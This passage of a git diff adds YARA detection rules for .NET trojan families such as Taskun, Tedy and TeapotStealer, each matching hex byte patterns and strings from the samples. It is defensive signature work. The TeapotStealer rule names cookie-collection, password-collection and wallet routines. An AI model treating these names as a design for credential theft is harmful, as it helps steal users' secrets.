+} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ETL_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ETL_MTB.yar new file mode 100644 index 0000000000..808dc74edb --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ETL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Taskun_ETL_MTB{ + meta: + description = "Trojan:BAT/Taskun.ETL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {73 76 00 00 06 0a 06 03 7d 4f 00 00 04 06 fe 06 77 00 00 06 73 d4 00 00 0a 0c 02 08 6f d5 00 00 0a 17 73 d6 00 00 0a 0b } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_EYS_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_EYS_MTB.yar new file mode 100644 index 0000000000..28fadff210 --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_EYS_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Taskun_EYS_MTB{ + meta: + description = "Trojan:BAT/Taskun.EYS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_02_0 = {07 18 5f 17 63 13 04 2b 3f 06 02 09 11 04 ?? ?? ?? ?? ?? 13 05 04 03 ?? ?? ?? ?? ?? 59 13 06 11 06 19 ?? ?? ?? ?? ?? 2c 0a 03 11 05 ?? ?? ?? ?? ?? 2b 0f 11 06 16 31 0a 03 11 05 11 06 ?? ?? ?? ?? ?? 11 04 17 58 13 04 11 04 08 17 94 2f 09 03 ?? ?? ?? ?? ?? 04 32 b1 } //2 + condition: + ((#a_02_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_GPPE_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_GPPE_MTB.yar new file mode 100644 index 0000000000..4d14f6e739 --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_GPPE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Taskun_GPPE_MTB{ + meta: + description = "Trojan:BAT/Taskun.GPPE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 00 " + + strings : + $a_01_0 = {0f 00 28 d0 00 00 0a 1f 10 62 0f 00 28 d1 00 00 0a 1e 62 60 0f 00 28 d2 00 00 0a 60 0b } //4 + condition: + ((#a_01_0 & 1)*4) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_GPPF_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_GPPF_MTB.yar new file mode 100644 index 0000000000..4e86d99d6b --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_GPPF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Taskun_GPPF_MTB{ + meta: + description = "Trojan:BAT/Taskun.GPPF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 00 " + + strings : + $a_01_0 = {11 0a 08 61 11 0b 61 13 0c 11 10 } //4 + condition: + ((#a_01_0 & 1)*4) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_GPPG_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_GPPG_MTB.yar new file mode 100644 index 0000000000..4cbe976f72 --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_GPPG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Taskun_GPPG_MTB{ + meta: + description = "Trojan:BAT/Taskun.GPPG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 00 " + + strings : + $a_03_0 = {8e 69 5d 91 61 28 ?? ?? 00 06 02 11 01 17 58 02 8e 69 5d 91 } //4 + condition: + ((#a_03_0 & 1)*4) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_MCD_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_MCD_MTB.yar new file mode 100644 index 0000000000..7f9bd3b780 --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_MCD_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_BAT_Taskun_MCD_MTB{ + meta: + description = "Trojan:BAT/Taskun.MCD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_01_0 = {6f 00 72 00 6d 00 20 00 43 00 61 00 73 00 74 00 00 03 20 00 00 1f 45 00 78 00 65 00 63 00 75 00 74 00 65 00 20 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 } //2 + $a_03_1 = {57 17 b6 09 09 0b 00 00 00 fa 25 33 00 16 00 00 01 00 00 00 ?? 00 00 00 2b 00 00 00 0d 01 00 00 41 07 00 00 cd 01 00 00 12 } //1 + $a_01_2 = {41 70 70 65 6e 64 00 67 65 74 5f 4c 65 6e 67 74 68 00 43 6c 65 61 72 00 47 65 74 50 69 78 65 6c } //1 灁数摮最瑥䱟湥瑧h汃慥r敇側硩汥 + $a_01_3 = {53 74 6f 72 6d 43 61 73 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 } //1 StormCast.Properties.Resources.resource + condition: + ((#a_01_0 & 1)*2+(#a_03_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_MCE_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_MCE_MTB.yar new file mode 100644 index 0000000000..7fe622a179 --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_MCE_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_BAT_Taskun_MCE_MTB{ + meta: + description = "Trojan:BAT/Taskun.MCE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_01_0 = {43 00 72 00 65 00 61 00 74 00 65 00 49 00 6e 00 73 00 74 00 61 00 6e 00 63 00 65 } //2 + $a_01_1 = {42 00 36 00 36 00 35 00 34 00 36 00 41 00 00 0d 37 00 36 00 37 00 32 00 36 00 42 } //1 + $a_01_2 = {53 00 74 00 6f 00 72 00 6d 00 43 00 61 00 73 00 74 00 } //1 StormCast + $a_01_3 = {43 00 72 00 65 00 61 00 74 00 65 00 49 00 6e 00 73 00 74 00 61 00 6e 00 63 00 65 00 } //1 CreateInstance + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_MCF_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_MCF_MTB.yar new file mode 100644 index 0000000000..4dca63b122 --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_MCF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Taskun_MCF_MTB{ + meta: + description = "Trojan:BAT/Taskun.MCF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {1f 2c 91 7e ?? 00 00 04 20 ?? 01 00 00 91 61 1f 1c 5f 9c 2a } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_MTE_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_MTE_MTB.yar new file mode 100644 index 0000000000..c551cb04f1 --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_MTE_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_BAT_Taskun_MTE_MTB{ + meta: + description = "Trojan:BAT/Taskun.MTE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_81_0 = {42 75 74 74 72 65 79 20 46 6f 6f 64 20 26 20 44 72 75 67 } //1 Buttrey Food & Drug + $a_81_1 = {4d 6f 6e 74 65 72 6f 2e 64 6c 6c } //1 Montero.dll + $a_81_2 = {50 65 75 67 65 6f 74 20 32 30 36 } //1 Peugeot 206 + $a_81_3 = {46 69 6c 65 20 43 6c 65 72 6b 65 72 } //1 File Clerker + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_PGTK_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_PGTK_MTB.yar new file mode 100644 index 0000000000..334eefa0ea --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_PGTK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Taskun_PGTK_MTB{ + meta: + description = "Trojan:BAT/Taskun.PGTK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {09 20 e8 03 00 00 5d 2d 24 28 ?? 00 00 0a 08 28 ?? 00 00 0a 13 0b 12 0b 28 ?? 00 00 0a 69 13 0a 09 6c 17 11 0a } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_PGT_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_PGT_MTB.yar new file mode 100644 index 0000000000..4cd8ca1443 --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_PGT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Taskun_PGT_MTB{ + meta: + description = "Trojan:BAT/Taskun.PGT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {02 11 16 11 17 6f ?? 00 00 0a 13 18 11 0a 12 18 28 ?? 00 00 0a 58 13 0a 11 0b 12 18 28 ?? 00 00 0a 58 13 0b 11 0c 12 18 28 ?? 00 00 0a 58 13 0c 12 18 28 ?? 00 00 0a 12 18 28 ?? 00 00 0a 58 12 18 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_SR_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_SR_MTB.yar new file mode 100644 index 0000000000..aadf03c4d3 --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_SR_MTB.yar @@ -0,0 +1,23 @@ + +rule Trojan_BAT_Taskun_SR_MTB{ + meta: + description = "Trojan:BAT/Taskun.SR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {11 0c 94 13 0d 11 04 11 0d 6c 58 13 04 11 0c 17 58 13 0c 11 0c 11 0b } //2 + $a_81_1 = {41 6d 69 72 43 61 6c 65 6e 64 61 72 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //2 AmirCalendar.Properties.Resources + condition: + ((#a_01_0 & 1)*2+(#a_81_1 & 1)*2) >=4 + +} +rule Trojan_BAT_Taskun_SR_MTB_2{ + meta: + description = "Trojan:BAT/Taskun.SR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {03 11 0d 11 0f 91 6f 96 00 00 0a 11 0e 11 0f 58 13 0e 11 0f 17 58 13 0f 11 0f 11 09 32 e2 } //2 + $a_01_1 = {43 61 6c 63 75 6c 61 64 6f 72 61 43 69 65 6e 74 69 66 69 63 61 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //2 CalculadoraCientifica.Properties.Resources.resources + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_SS_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_SS_MTB.yar new file mode 100644 index 0000000000..a63e05a01f --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_SS_MTB.yar @@ -0,0 +1,23 @@ + +rule Trojan_BAT_Taskun_SS_MTB{ + meta: + description = "Trojan:BAT/Taskun.SS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {00 03 11 07 11 08 91 6f c7 00 00 0a 00 00 11 08 17 58 13 08 11 08 11 04 fe 04 13 09 11 09 2d e0 } //2 + $a_01_1 = {57 6f 72 64 46 75 6e 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //2 WordFun.Properties.Resources.resources + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} +rule Trojan_BAT_Taskun_SS_MTB_2{ + meta: + description = "Trojan:BAT/Taskun.SS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {03 11 4a 11 4b 91 6f e3 00 00 0a 00 17 11 42 28 db 00 00 0a 13 04 1c 8d 3c 00 00 01 25 16 72 d7 0e 00 70 a2 25 17 12 4b 28 48 00 00 0a a2 25 18 72 e9 0e 00 70 a2 25 19 12 31 28 48 00 00 0a a2 25 1a 72 e9 0e 00 70 a2 25 1b 12 35 28 48 00 00 0a a2 28 e2 00 00 0a 13 0a 00 11 4b 17 58 13 4b 11 4b 11 42 fe 04 13 4c 11 4c 2d 93 } //2 + $a_01_1 = {4f 79 75 6e 75 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //2 Oyunu.Properties.Resources.resources + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ST_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ST_MTB.yar new file mode 100644 index 0000000000..7c2a771212 --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ST_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Taskun_ST_MTB{ + meta: + description = "Trojan:BAT/Taskun.ST!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {16 72 c5 05 00 70 a2 25 17 12 45 28 2b 00 00 0a a2 25 18 72 00 0a 00 70 a2 25 19 12 31 28 2b 00 00 0a a2 25 1a 72 00 0a 00 70 a2 25 1b 12 34 28 2b 00 00 0a a2 28 35 00 00 0a 13 0a 11 45 17 58 13 45 11 45 11 41 32 9c } //2 + $a_01_1 = {42 61 63 6b 45 6e 64 4c 69 62 72 61 72 79 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //2 BackEndLibrary.Properties.Resources.resources + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_WL_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_WL_MTB.yar new file mode 100644 index 0000000000..d58dbbc20f --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_WL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Taskun_WL_MTB{ + meta: + description = "Trojan:BAT/Taskun.WL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {69 17 59 91 1f 70 61 0b 02 8e 69 17 58 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_WQ_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_WQ_MTB.yar new file mode 100644 index 0000000000..92bfca22c5 --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_WQ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Taskun_WQ_MTB{ + meta: + description = "Trojan:BAT/Taskun.WQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {74 69 00 00 01 11 05 11 0a 75 48 00 00 1b 11 0c 11 07 58 11 09 59 93 61 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ZBS_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ZBS_MTB.yar new file mode 100644 index 0000000000..580148076c --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ZBS_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Taskun_ZBS_MTB{ + meta: + description = "Trojan:BAT/Taskun.ZBS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {26 02 11 21 11 29 6f ?? 00 00 0a 13 2b 11 0a 12 2b 28 ?? 00 00 0a 58 13 0a 11 0b 12 2b 28 ?? 00 00 0a 58 13 0b 11 0c 12 2b 28 ?? 00 00 0a 58 13 0c } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ZGV_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ZGV_MTB.yar new file mode 100644 index 0000000000..9073b08e82 --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ZGV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Taskun_ZGV_MTB{ + meta: + description = "Trojan:BAT/Taskun.ZGV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {06 02 09 11 04 6f ?? 00 00 06 13 05 04 03 6f ?? 00 00 0a 59 13 06 11 06 19 28 ?? 00 00 06 13 07 11 07 2c 0d 00 03 11 05 28 ?? 00 00 06 00 00 2b 18 11 06 16 fe 02 13 08 11 08 2c 0d 00 03 11 05 11 06 28 ?? 00 00 06 00 00 00 11 04 17 58 13 04 11 04 08 17 94 2f 0b 03 6f ?? 00 00 0a 04 fe 04 2b 01 16 13 09 11 09 2d 96 07 07 61 0b 00 09 17 58 0d 09 08 16 94 2f 0b 03 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ZTS_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ZTS_MTB.yar new file mode 100644 index 0000000000..582d560f1c --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ZTS_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Taskun_ZTS_MTB{ + meta: + description = "Trojan:BAT/Taskun.ZTS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {02 11 46 11 47 6f ?? 00 00 0a 13 48 00 2b 09 00 28 ?? 00 00 0a 13 48 00 12 48 28 ?? 00 00 0a 20 c8 00 00 00 fe 02 13 56 11 56 2c 09 72 79 06 00 70 13 23 2b 41 12 48 28 ?? 00 00 0a 20 c8 00 00 00 fe 02 13 57 11 57 2c 09 72 9d 06 00 70 13 23 2b 24 12 48 28 ?? 00 00 0a 20 c8 00 00 00 fe 02 13 58 11 58 2c 09 72 c5 06 00 70 13 23 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ZVQ_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ZVQ_MTB.yar new file mode 100644 index 0000000000..4f7b230102 --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ZVQ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Taskun_ZVQ_MTB{ + meta: + description = "Trojan:BAT/Taskun.ZVQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {02 06 07 6f ?? 00 00 0a 0d 04 03 6f ?? 00 00 0a 59 13 04 72 0d 07 00 70 0e 05 8c ?? 00 00 01 28 ?? 00 00 0a 13 05 11 05 72 ?? 07 00 70 6f ?? 00 00 0a 13 0a 11 0a 2c 07 } //6 + $a_03_1 = {08 1f 63 58 0c 00 03 12 03 28 ?? 00 00 0a 6f ?? 00 00 0a 00 11 04 17 59 25 13 04 16 fe 02 16 fe 01 13 0b 11 0b 2c 02 } //5 + condition: + ((#a_03_0 & 1)*6+(#a_03_1 & 1)*5) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ZWS_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ZWS_MTB.yar new file mode 100644 index 0000000000..11e5dfdd7a --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ZWS_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Taskun_ZWS_MTB{ + meta: + description = "Trojan:BAT/Taskun.ZWS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {02 11 1e 11 1f 6f ?? 00 00 0a 13 21 11 08 6f ?? 00 00 0a 1f 64 fe 04 16 fe 01 13 33 11 33 2c 0a 00 11 08 } //6 + $a_01_1 = {15 5f 16 61 d2 13 26 11 24 16 60 d2 13 27 11 25 16 61 16 61 d2 13 28 11 1e 19 5a 13 29 11 1e 19 5a 17 58 } //5 + condition: + ((#a_03_0 & 1)*6+(#a_01_1 & 1)*5) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ZXW_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ZXW_MTB.yar new file mode 100644 index 0000000000..47e81d969c --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ZXW_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Taskun_ZXW_MTB{ + meta: + description = "Trojan:BAT/Taskun.ZXW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {13 0b 02 11 0a 11 0b 6f ?? 00 00 0a 13 0c 04 03 6f ?? 00 00 0a 59 13 0d 11 0d 19 fe 04 16 fe 01 13 0e 11 0e 2c 55 00 16 13 0f 11 0f 17 5f 17 fe 01 16 fe 01 13 10 11 10 2c 2e 00 03 12 0c 28 ?? 00 00 0a 6f ?? 00 00 0a 00 03 12 0c 28 ?? 00 00 0a 6f ?? 00 00 0a 00 03 12 0c 28 ?? 00 00 0a 6f ?? 00 00 0a 00 00 2b 0d 00 06 1e } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ZZI_MTB.yar b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ZZI_MTB.yar new file mode 100644 index 0000000000..ae510a3c4a --- /dev/null +++ b/Trojan/BAT/Taskun/Trojan_BAT_Taskun_ZZI_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Taskun_ZZI_MTB{ + meta: + description = "Trojan:BAT/Taskun.ZZI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {01 25 16 0f 01 28 ?? 00 00 0a 9c 25 17 0f 01 28 ?? 00 00 0a 9c 25 18 0f 01 28 ?? 00 00 0a 9c 6f ?? 00 00 0a 00 07 } //6 + $a_03_1 = {03 06 08 6f ?? 00 00 0a 0d 0e 04 0e 04 4a 17 58 54 } //5 + condition: + ((#a_03_0 & 1)*6+(#a_03_1 & 1)*5) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/TeapotStealer/Trojan_BAT_TeapotStealer_CH_MTB.yar b/Trojan/BAT/TeapotStealer/Trojan_BAT_TeapotStealer_CH_MTB.yar new file mode 100644 index 0000000000..440851cd7d --- /dev/null +++ b/Trojan/BAT/TeapotStealer/Trojan_BAT_TeapotStealer_CH_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_BAT_TeapotStealer_CH_MTB{ + meta: + description = "Trojan:BAT/TeapotStealer.CH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 07 00 00 " + + strings : + $a_01_0 = {3c 47 65 74 41 6c 6c 43 6f 6f 6b 69 65 73 3e } //2 + $a_01_1 = {3c 47 65 74 44 65 62 75 67 57 73 55 72 6c 3e } //2 + $a_01_2 = {3c 50 72 6f 63 65 73 73 43 68 72 6f 6d 69 75 6d 43 6f 6f 6b 69 65 73 3e } //2 + $a_01_3 = {3c 50 72 6f 63 65 73 73 46 69 72 65 66 6f 78 43 6f 6f 6b 69 65 73 3e } //2 + $a_01_4 = {3c 43 6f 6c 6c 65 63 74 41 6e 64 55 70 6c 6f 61 64 43 6f 6f 6b 69 65 73 3e } //2 + $a_01_5 = {3c 43 6f 6c 6c 65 63 74 50 61 73 73 77 6f 72 64 73 3e } //2 + $a_01_6 = {57 61 6c 6c 65 74 } //1 Wallet + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2+(#a_01_4 & 1)*2+(#a_01_5 & 1)*2+(#a_01_6 & 1)*1) >=13 + +} \ No newline at end of file diff --git a/Trojan/BAT/Tedy/Trojan_BAT_Tedy_AB_MTB.yar b/Trojan/BAT/Tedy/Trojan_BAT_Tedy_AB_MTB.yar new file mode 100644 index 0000000000..3fc707e539 --- /dev/null +++ b/Trojan/BAT/Tedy/Trojan_BAT_Tedy_AB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Tedy_AB_MTB{ + meta: + description = "Trojan:BAT/Tedy.AB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {02 03 02 4b 03 04 61 05 61 58 0e 07 0e 04 e0 95 58 7e d7 00 00 04 0e 06 17 59 e0 95 58 0e 05 28 2d 01 00 06 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Tedy/Trojan_BAT_Tedy_EPL_MTB.yar b/Trojan/BAT/Tedy/Trojan_BAT_Tedy_EPL_MTB.yar new file mode 100644 index 0000000000..383342c2c7 --- /dev/null +++ b/Trojan/BAT/Tedy/Trojan_BAT_Tedy_EPL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Tedy_EPL_MTB{ + meta: + description = "Trojan:BAT/Tedy.EPL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {06 02 07 6f a6 00 00 0a 03 07 6f a6 00 00 0a 61 60 0a 07 17 58 0b 07 02 6f 3f 00 00 0a 32 e1 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Tedy/Trojan_BAT_Tedy_PGTK_MTB.yar b/Trojan/BAT/Tedy/Trojan_BAT_Tedy_PGTK_MTB.yar new file mode 100644 index 0000000000..a621419114 --- /dev/null +++ b/Trojan/BAT/Tedy/Trojan_BAT_Tedy_PGTK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Tedy_PGTK_MTB{ + meta: + description = "Trojan:BAT/Tedy.PGTK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {7e 05 00 00 04 6f ?? 00 00 0a 80 02 00 00 04 20 02 00 00 00 fe 0e 04 00 00 fe 0c 04 00 20 03 00 00 00 fe 01 39 2b 00 00 00 28 ?? 00 00 0a 20 0a 00 00 00 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Temonde/Trojan_BAT_Temonde_MCF_MTB.yar b/Trojan/BAT/Temonde/Trojan_BAT_Temonde_MCF_MTB.yar new file mode 100644 index 0000000000..db18a43c56 --- /dev/null +++ b/Trojan/BAT/Temonde/Trojan_BAT_Temonde_MCF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Temonde_MCF_MTB{ + meta: + description = "Trojan:BAT/Temonde.MCF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {6e 00 74 00 72 00 79 00 50 00 6f 00 69 00 6e 00 74 00 00 21 67 00 45 00 6c 00 30 00 59 00 4d 00 52 00 53 00 52 00 48 00 31 00 6f 00 30 00 4c 00 78 00 56 00 00 2f 50 00 6f 00 6b 00 65 00 72 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git 